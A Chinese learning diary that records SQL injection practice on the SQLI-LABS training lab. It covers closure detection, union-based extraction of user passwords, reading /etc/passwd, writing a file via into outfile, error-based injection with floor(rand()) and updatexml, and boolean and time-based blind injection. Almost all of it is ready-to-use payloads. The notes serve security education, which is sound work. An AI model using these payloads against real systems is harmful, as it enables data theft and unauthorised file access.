网安学习day5:本文记录学习SQL注入的基础知识与实战测试。由于今天授课内容主要是day4所写知识,本文内容与day4部分相同。
一、常见手动 sql 注入的闭合方式
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
//我们可以在注入点输入反斜杠\来判断页面使用的哪种闭合方式
\表示转义,直接输入\会将字段的闭合方式暴露出来,因为此处的 ’ 被转义变成了普通字符,起不到闭合的作用,导致 SQL 语句报错。并爆出闭合方式。
弹出: ‘1’ LIMIT 0,1 这个错。发现\转义后有⼀个单引号,说明此 sql 语句基于单引号闭合。
二、 SQLI-LABS 学习
2.1 Less-1
爆出字段的显示位置
?id=-1' union select 1,2,3--+
/*这⾥修改了 1 个重要参数,id=-1 这个值在数据库中是不存在的,
原因是程序只返回⼀个结果,所以我们需要使union 前⾯的语句出错才可以让我们后⾯查询的结果返回。
注:联合查询必须字段数⼀致。
如果表存在 3 个字段联合查询的字段也必须是 3 个,否则报错。从而可以判断查询的字段数。*/
获取数据库名称
?id=-1' union select 1,database(),version() --+
// database()是数据库内嵌的函数,主要是⽤于查询当前的数据库名称
列出当前数据库中所有表的名称
information_schema 这个库里存放了很多个表,这些表⾥的不同字段表示 MySQL 中的相关信息。我们也可以通过 information_schema 和以上我们学习到的注入使用方式去查询更多的信息。
?id=-1'
union
select1,2,group_concat(table_name)
from information_schema.tables
where table_schema=database()--+
获取 users 表中的字段名
information_schema 元数据库下column表,columns 表用于存储MySQL 中的所有表的字段类型。
?id=-1'
union
select 1,2,group_concat(column_name)
from information_schema.columns
where table_schema=database()
and table_name='users' --+
获取用户名密码字段中的值
?id=-1'
union
select 1,2,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E)
from users--+
//换⾏符:0x3C,0x68,0x72,0x2F,0x3E(十六进制),在html中换⾏符⽤<hr />来表示
//冒号:0x3a(十六进制)
SQL 注⼊读取/etc/passwd ⽂件
?id=-1' union select 1,2,load_file("/etc/passwd") --+
2.2 Less-5
报错注入
?id= 0'
union select 1,2,3
from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a)
limit 0,1),floor(rand(0)*2)) x
from information_schema.tables
group by x) xuegod --+
/*group by 主键冲突报错时会在报错信息中返回 key 和查询内容。
select count(*),(floor(rand(0)*2))x from table group by x;
select count(*),(floor(rand(0)*2))x 将查询的结果传递给 x
然后使⽤ group by x 进⾏分组。最终报错输出查询结果*/
floor(a)取整函数,返回⼩于等于 a,且值最接近 a 的⼀个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by clause 分组语句,按照查询结果分组
floor(rand(0)*2)固定返回数值 011011…。
思考:为什么固定返回011011.....呢?
答:因为使用了固定的随机数种子0,所以每次产生的值都是一样的,
配合flloor()函数可知产生的最大随机数小于1,floor(rand(0)*2)
所得到的数值固定为011011...
深入理解
第⼀次查询:
floor(rand(0)*2)011011…
查询第⼀条数据肯定是不存在的,所以直接插入临时表,key=0,count=1(此时floor(rand(0)*2)第⼀次计算)当插入临时表时 floor(rand(0)*2)会被重新计算所以查询第⼀条数据最终的结果是 key=1,count=1(此时 floor(rand(0)*2)第⼆次计算)
第⼆次查询:
floor(rand(0)*2)=011011…
此时我们是第三次计算,所以 key=1 已经存在,所以 count+1=2。
第三次查询:
floor(rand(0)*2)=011011…
第四次计算 key=0,表中不存在 0 的主键,所以插入数据,插入数据时 floor(rand(0)*2)重新计算,则插入的 key=1,则发生主键冲突。
我们可以得出结论,当查询到的数据大于等于 3 必定报错。
爆库
?id=1'
union select 1,2,count(*)
from information_schema.tables
group by concat(0x7e,floor(rand(0)*2),database())--+
爆表
?id=1'
union select 1,2,count(*)
from information_schema.tables
group by concat(0x7e,floor(rand(0)*2),
(select concat(0x7e,table_name)
from information_schema.tables
where table_schema=database() limit 3,1))--+
爆字段
?id=1'
union select 1,2,count(*)
from information_schema.tables
group by concat(0x7e,floor(rand(0)*2),
(select concat(0x7e,column_name)
from information_schema.columns
where table_schema=database() and table_name='users' limit 2,1))--+
爆数据
?id=1'
union select 1,2,count(*)
from users
group by concat(0x7e,floor(rand(0)*2),
(select concat(0x7e,password)
from users limit 0,1))--+
查用户
?id=1'
and updatexml(1,concat(0x7e,user()),1)%23
查表
?id=1'
and updatexml(1,concat(0x7e,
(select table_name
from information_schema.tables
where table_schema=database() limit 0,1)),1)%23
查列
?id=1'
and updatexml(1,concat(0x7e,
(select column_name
from information_schema.columns
where table_schema=database() and table_name='users' limit 1,1)),1)%23
查内容
?id=1'
and updatexml(1,concat(0x7e,
(select password
from users limit1,1)),1)%23
2.3 Less-7
SQL 注入写入文件
?id=-1'))
union select 1,2,'xuegod'
into outfile "/var/lib/mysql/xuegod.php" --+
2.4 Less-8
基于布尔的盲注
?id=1' and ( length(database()) <9) --+
//不断比对猜测数据库名称的字符大小
?id=1' and ( length(database()) = 8) --+
//该例中数据库名称字符大小为8
/*substr(database(),1,1) 表示取出数据库名称的第⼀个字符,
第⼀个 1 表示从第⼏个字符开始,第⼆个 1 表示取⼏个字符,
我们猜解出⼀个值之后就要把第⼀个值+1 ⽤来猜解第⼆个值。*/
?id=1' and (ascii(substr(database(),1,1)) >90) --+
//一直重复此过程一直得到第一个值的正确值
?id=1' and (ascii(substr(database(),1,1)) =115) --+
//该例中数据库名称第一个字符的值为115(十进制),字符为s。
基于时间的盲注
?id=1' and
if(ascii(substr(database(),1,1))=115,1,sleep(3))--+
/*当 if()中的条件满⾜时,则直接返回,如果不满⾜时,
则⾛ sleep,⻚⾯的响应*/
?id=1' and
if(ascii(substr(database(),1,1))=115,1,sleep(3))--+
若不满足页面延迟三秒响应
满足显示结果